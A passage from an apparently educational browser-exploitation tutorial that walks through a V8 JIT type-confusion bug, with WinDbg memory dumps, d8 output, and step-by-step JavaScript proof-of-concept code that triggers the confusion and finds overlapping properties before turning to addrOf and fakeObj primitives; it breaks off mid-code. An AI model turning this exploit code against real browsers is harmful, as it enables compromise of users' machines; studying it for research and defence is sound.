- elements: 0x02c9f8782cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x00c44e40dba9 <NameDictionary[29]> {
#a: 42 (data, dict_index: 1, attrs: [WEC])
#b: 43 (data, dict_index: 2, attrs: [WEC])
}
</code></pre></div></div>
<p>After triggering the bug, we can see that the object’s map has changed and the property store has been converted to a <code class="language-plaintext highlighter-rouge">NamedDictionary</code> of size 29. We can confirm that the property store backing address is now at <code class="language-plaintext highlighter-rouge">0x00c44e40dba9</code> by checking the object structure in WinDbg.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dq 000000C44E40DAD9-1 L6
000000c4`4e40dad8 000002a6`6658c2f1 000000c4`4e40dba9
000000c4`4e40dae8 000002c9`f8782cf1 00000000`00000000
000000c4`4e40daf8 000002c9`f8782341 00000005`00000000
</code></pre></div></div>
<p>And it is! With that, let’s look into our dictionary structure at address <code class="language-plaintext highlighter-rouge">0x00c44e40dba9</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dq 0x00c44e40dba9-1 L12
000000c4`4e40dba8 000002c9`f8783669 0000001d`00000000
000000c4`4e40dbb8 00000002`00000000 00000000`00000000
000000c4`4e40dbc8 00000008`00000000 00000003`00000000
000000c4`4e40dbd8 00000000`00000000 000002c9`f87825a1
000000c4`4e40dbe8 000002c9`f87825a1 000002c9`f87825a1
000000c4`4e40dbf8 000000a3`18f22049 0000002a`00000000
000000c4`4e40dc08 000001c0`00000000 000002c9`f87825a1
000000c4`4e40dc18 000002c9`f87825a1 000002c9`f87825a1
000000c4`4e40dc28 000002c9`f87825a1 000002c9`f87825a1
</code></pre></div></div>
<p>Upon inspecting the dictionary structure at this address, we can see that it is significantly different from the <code class="language-plaintext highlighter-rouge">FixedArray</code> object structure. Additionally, we see that the value of the first property <code class="language-plaintext highlighter-rouge">a</code> (42 or <code class="language-plaintext highlighter-rouge">0x2a</code>) is at offset 88 within this structure, and the value of the second property <code class="language-plaintext highlighter-rouge">b</code> (43 or 0x2b) is not present at the expected location. It’s likely that this value is located further within the dictionary’s memory layout.</p>
<p>Now you might be asking yourself, what are these odd values such as <code class="language-plaintext highlighter-rouge">000002c9f87825a1</code> within the dictionary structure? Well, a dictionary is actually a <a href="https://v8.dev/blog/hash-code">HashMap</a> that uses hash tables to map a property’s key to a location in the hash table. The odd value that you are seeing is a <em>hash code</em>, which is the result of applying a hash function to a given key.</p>
<p>At the top of the dictionary, we can see that the Map of the object is at offset 0, the length of the dictionary (29 or <code class="language-plaintext highlighter-rouge">0x1d</code> in hex) is at offset 8, and the number of elements within the dictionary (2) is at offset 16.</p>
<p>In our case, when we access the <code class="language-plaintext highlighter-rouge">b</code> property, V8 will access the number of elements in the dictionary (which should be 2, as confirmed by the IR). Upon running this code in d8 after triggering the bug, it does indeed return 2.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %OptimizeFunctionOnNextCall(vuln)
d8> let obj = {a:42}; obj.b = 43; vuln(obj);
2
</code></pre></div></div>
<p>Perfect! We just confirmed that our type confusion works and that we have some control over what type of data we can access in the dictionary by specifying a property. This will allow us to traverse the dictionary by 8 bytes for each property.</p>
<p>Now, let’s go back to our conversation about having precision when trying to read and write data to an object. As you can see, with two properties, we can only read the number of elements within the dictionary. This doesn’t really provide us much benefit because usually we don’t have much control over this part of the structure as it’s dynamically allocated.</p>
<p>What we want to do, is to gain read and write access to a properties value within the dictionary, since we can easily read and write data to the property value by just specifying the properties index.</p>
<p>As we’ve already seen, our first property value while at offset 16 in the array, is at offset 88 in the dictionary. As such, if we were to add <em>88/8=11</em> different properties, we should be able to read and write to our first property within the dictionary by accessing property 10 from the backing store (which should be 88 bytes, or <em>10x8+8</em>, into the array).</p>
<p>This means that for every <em>N</em> properties in the <code class="language-plaintext highlighter-rouge">FixedArray</code>, we will have a handful of overlapping properties within the dictionary that are at the same offset.</p>
<p>To help you visualize this, below is an example of a memory dump of a <code class="language-plaintext highlighter-rouge">FixrdArray</code> with 11 properties and a <code class="language-plaintext highlighter-rouge">NameDictionary</code> that has an overlapping property.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> FixedArray NameDictionary
000002c9`f8783899 000002c9`f8783669
0000000E`00000000 0000013F`00000000
00000001`00000000 0000000B`00000000
00000002`00000000 00000000`00000000
00000003`00000000 00000008`00000000
00000004`00000000 00000003`00000000
00000005`00000000 00000000`00000000
00000006`00000000 000002c9`f87825a1
00000007`00000000 000002c9`f87825a1
00000008`00000000 000002c9`f87825a1
00000009`00000000 000000a3`18f22049
0000000A`00000000 <--!--> 00000001`00000000
0000000B`00000000 000001c0`00000000
</code></pre></div></div>
<p>As presented in the memory dump, we can see that by accessing property 10 from the <code class="language-plaintext highlighter-rouge">FixedArray</code>, we are able to access the value of property 1 after triggering the bug and converting the <code class="language-plaintext highlighter-rouge">FixedArray</code> to a <code class="language-plaintext highlighter-rouge">NameDictionary</code>. This in essence would allow us to read and write to property 1’s value in the dictionary.</p>
<p>However, there is a problem with this approach: the layout of the <code class="language-plaintext highlighter-rouge">NameDictionary</code> will be different in every execution of the engine due to the process-wide randomness used in the hashing mechanism for hash map tables. This can be verified by rerunning the proof of concept and inspecting the dictionary structure after triggering the bug. Your results will vary, but in my case, I had the following output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dq 0x025e3e88dba9-1 L12
0000025e`3e88dba8 0000028d`cdf03669 0000001d`00000000
0000025e`3e88dbb8 00000002`00000000 00000000`00000000
0000025e`3e88dbc8 00000008`00000000 00000003`00000000
0000025e`3e88dbd8 00000000`00000000 00000305`8f922061
0000025e`3e88dbe8 0000002b`00000000 000002c0`00000000
0000025e`3e88dbf8 0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc08 0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc18 0000028d`cdf025a1 0000028d`cdf025a1
0000025e`3e88dc28 0000028d`cdf025a1 0000028d`cdf025a1
</code></pre></div></div>
<p>As we can see, property <code class="language-plaintext highlighter-rouge">b</code> (with a value of 43 or <code class="language-plaintext highlighter-rouge">0x2b</code>) is now at offset 64 in the dictionary, and property <code class="language-plaintext highlighter-rouge">a</code> is not present at the expected location. In this case, property <code class="language-plaintext highlighter-rouge">a</code> was actually at offset 184. This means that our previous example of using 11 properties would not work.</p>
<p>Although the properties are not in a known or even guessable order, we still know that there likely exists a pair of properties <code class="language-plaintext highlighter-rouge">P1</code> and <code class="language-plaintext highlighter-rouge">P2</code> that will eventually overlap at the same offset. If we can write a JavaScript function to find these overlapping properties, we will at least be able to gain some precision in reading and writing new values to our properties.</p>
<p>Before writing this function, we need to consider how many properties we should generate in order to find this overlap. Well, due to <a href="https://jayconrod.com/posts/52/a-tour-of-v8--object-representation#:~:text=V8%20uses%20a%20process%20called,properties%20stored%20within%20the%20object.">in-object slack tracking</a> the optimal number of fast properties is 32, so we will use that as our maximum.</p>
<p>Let’s start by repurposing our proof of concept by creating a new function that creates an object with one inline and 32 out-of-line properties. The code for this function is as follows:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">makeObj</span><span class="p">()</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">inline</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">,</span> <span class="p">{</span>
<span class="na">writable</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">value</span><span class="p">:</span> <span class="o">-</span><span class="nx">i</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>One thing to note within the function is that we are using a negative value for <code class="language-plaintext highlighter-rouge">i</code>. The reason for this is that there are a few unrelated small positive values in the dictionary, such as the length and number of elements. If we use positive values for our property values, there is a risk of getting false positives when searching for overlapping properties. Therefore, we use negative numbers to distinguish our properties from these unrelated values.</p>
<p>From here we can start writing our function that will search for overlapped properties. One modification we will make is to our <code class="language-plaintext highlighter-rouge">vuln</code> function, which previously triggered the bug and returned property <code class="language-plaintext highlighter-rouge">b</code> of the object. In this case, we want to return the values of all properties so that we can compare them between the array and dictionary.</p>
<p>To do this, we can use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval"><code class="language-plaintext highlighter-rouge">eval</code></a> function with <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals">template literals</a> to generate all the return statements at runtime with just a few lines of code. The following code allows us to do that:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">findOverlappingProperties</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// Create an array of all 32 property names such as p1..p32</span>
<span class="kd">let</span> <span class="nx">pNames</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">pNames</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Create eval of function that will generate code during runtime</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
Object.create(obj);
</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">p</span><span class="p">)</span> <span class="o">=></span> <span class="s2">`let </span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2"> = obj.</span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2">;`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">)}</span><span class="s2">
return [</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">, </span><span class="dl">'</span><span class="p">)}</span><span class="s2">];
}
`</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If you are confused about the last two lines in the <code class="language-plaintext highlighter-rouge">eval</code> function, here is a brief explanation. We are using template literals (backticks) and <em>placeholders</em> within the template, which are embedded expressions delimited by a dollar sign and curly braces: <code class="language-plaintext highlighter-rouge">${expression}</code>. When we call the <code class="language-plaintext highlighter-rouge">vuln</code> function at runtime, these expressions undergo <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#string_interpolation">string interpolation</a> and the expression will be replaced with a generated string.</p>
<p>In our case we are using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> function on the <code class="language-plaintext highlighter-rouge">pNames</code> array to create a new array of strings that will equate to <code class="language-plaintext highlighter-rouge">let p1 = obj.p1</code>. This allows us to generate these lines of code to set and return the values of all properties during runtime, instead of hardcoding everything.</p>
<p>An example of the output after the <code class="language-plaintext highlighter-rouge">eval</code> function can be seen in d8, like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">let</span> <span class="nx">pNames</span> <span class="o">=</span> <span class="p">[];</span> <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span><span class="nx">pNames</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">;}</span>
<span class="dl">"</span><span class="s2">p31</span><span class="dl">"</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">pNames</span>
<span class="p">[</span><span class="dl">"</span><span class="s2">p0</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p1</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p2</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p3</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p4</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p5</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p6</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p7</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p8</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p9</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p10</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p11</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p12</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p13</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p14</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p15</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p16</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p17</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p18</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p19</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p20</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p21</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p22</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p23</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p24</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p25</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p26</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p27</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p28</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p29</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p30</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">p31</span><span class="dl">"</span><span class="p">]</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">pNames</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">p</span><span class="p">)</span> <span class="o">=></span> <span class="s2">`let </span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2"> = obj.</span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2">;`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">p0</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">p0</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">p1</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">p1</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">p2</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">p2</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">p3</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">p3</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">p4</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">p4</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">p5</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">p5</span><span class="p">;</span>
<span class="p">...</span>
</code></pre></div></div>
<p>Now that we have this code and understand how it works, we can update our proof of concept script to include these new functions, trigger the bug, and then print the values for both the array and dictionary. Our updated script will now look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Create object with one line and 32 out-of-line properties</span>
<span class="kd">function</span> <span class="nx">makeObj</span><span class="p">()</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">inline</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">,</span> <span class="p">{</span>
<span class="na">writable</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">value</span><span class="p">:</span> <span class="o">-</span><span class="nx">i</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Find a pair of properties where p1 is stored at the same offset</span>
<span class="c1">// in the FixedArray as p2 is in the NameDictionary</span>
<span class="kd">function</span> <span class="nx">findOverlappingProperties</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// Create an array of all 32 property names such as p1..p32</span>
<span class="kd">let</span> <span class="nx">pNames</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">pNames</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Create eval of our vuln function that will generate code during runtime</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
// Access Property inline of obj, forcing a CheckMap operation
obj.inline;
// Force a Map Transition via our side-effect
this.Object.create(obj);
// Trigger our type-confusion by accessing out-of-bound properties
</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">p</span><span class="p">)</span> <span class="o">=></span> <span class="s2">`let </span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2"> = obj.</span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2">;`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">)}</span><span class="s2">
return [</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">, </span><span class="dl">'</span><span class="p">)}</span><span class="s2">];
}
`</span><span class="p">)</span>
<span class="c1">// JIT code to trigger vuln</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">());</span>
<span class="c1">// Print FixedArray when i=1 and Dictionary when i=9999</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">i</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">||</span> <span class="nx">i</span> <span class="o">==</span> <span class="mi">9999</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">print</span><span class="p">(</span><span class="nx">res</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
</code></pre></div></div>
<p>When we run the updated script in d8, we should get results which are similar the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties
,-1,-2,-3,-4,-5,-6,-7,-8,-9,-10,-11,-12,-13,-14,-15,-16,-17,-18,-19,-20,-21,-22,-23,-24,-25,-26,-27,-28,-29,-30,-31
,32,0,64,33,0,,,,p13,-13,3824,,,,p17,-17,4848,inline,1234,448,,,,p29,-29,7920,,,,p19,-19
</code></pre></div></div>
<p>Great! Our type-confusion works and we are able to leak data from the dictionary. From the output, we can see that we have a few overlapping properties, such as p10 overlapping with p13 (note the negative values).</p>
<p>Now that we have confirmed that this code works and we have overlapping properties, we can modify the script to enumerate through the results and choose an overlapping property whose value is less than 0 and greater than -32. Also, let’s remove properties that overlap themselves.</p>
<p>The updated code will look like the following:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Function that creates an object with one in-line and 32 out-of-line properties</span>
<span class="kd">function</span> <span class="nx">makeObj</span><span class="p">()</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">inline</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">,</span> <span class="p">{</span>
<span class="na">writable</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">value</span><span class="p">:</span> <span class="o">-</span><span class="nx">i</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Function that finds a pair of properties where p1 is stored at the same offset</span>
<span class="c1">// in the FixedArray as p2 in the NameDictionary</span>
<span class="kd">let</span> <span class="nx">p1</span><span class="p">,</span> <span class="nx">p2</span><span class="p">;</span>
<span class="kd">function</span> <span class="nx">findOverlappingProperties</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// Create an array of all 32 property names such as p1..p32</span>
<span class="kd">let</span> <span class="nx">pNames</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">pNames</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Create eval of our vuln function that will generate code during runtime</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
// Access Property inline of obj, forcing a CheckMap operation
obj.inline;
// Force a Map Transition via our side-effect
this.Object.create(obj);
// Trigger our type-confusion by accessing out-of-bound properties
</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">p</span><span class="p">)</span> <span class="o">=></span> <span class="s2">`let </span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2"> = obj.</span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2">;`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">)}</span><span class="s2">
return [</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">, </span><span class="dl">'</span><span class="p">)}</span><span class="s2">];
}
`</span><span class="p">)</span>
<span class="c1">// JIT code to trigger vuln</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Create Object and pass it to Vuln function</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">());</span>
<span class="c1">// Look for overlapping properties in results</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">res</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// If i is not the same value, and res[i] is between -32 and 0, it overlaps</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">i</span> <span class="o">!==</span> <span class="o">-</span><span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">&&</span> <span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o"><</span> <span class="mi">0</span> <span class="o">&&</span> <span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">></span> <span class="o">-</span><span class="mi">32</span><span class="p">)</span> <span class="p">{</span>
<span class="p">[</span><span class="nx">p1</span><span class="p">,</span> <span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="nx">i</span><span class="p">,</span> <span class="o">-</span><span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]];</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">throw</span> <span class="dl">"</span><span class="s2">[!] Failed to find overlapping properties</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
</code></pre></div></div>
<p>If we run the updated code in d8 again, we will see that we are able to consistently find overlapping properties.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p7 and p12 overlap!
</code></pre></div></div>
<h1 id="understanding-browser-exploit-primitives">Understanding Browser Exploit Primitives</h1>
<p>Alright, so we’re able to exploit our bug to trigger a type-confusion and discovered overlapping properties that we can utilize to read and write data to. To those with a keen eye, you might have noticed that currently we only can read SMI’s and strings. In essence, just reading integers or strings is useless, we need to find a way to read and write memory pointers.</p>
<p>To help us accomplish that, we need to construct a read and write exploit primitive known as the <code class="language-plaintext highlighter-rouge">addrOf</code> and <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive, respectively. These primitives will allow us to exploit our overlapping properties by confusing an object of one type with an object of another type</p>
<p>To build these primitives, we can abuse our current type-confusion and the way Maps work with redundancy elimination in JIT to construct our own global type confusion for any arbitrary value of our choosing!</p>
<p>If you remember back in Part 1 and Part 2, we discussed Maps and the BinaryOp along with the Feedback Lattice. As we know, Maps store type information for properties and the BinaryOp stores the potential type states of properties during JIT compilation.</p>
<p>For example, let’s take the following code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">test</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
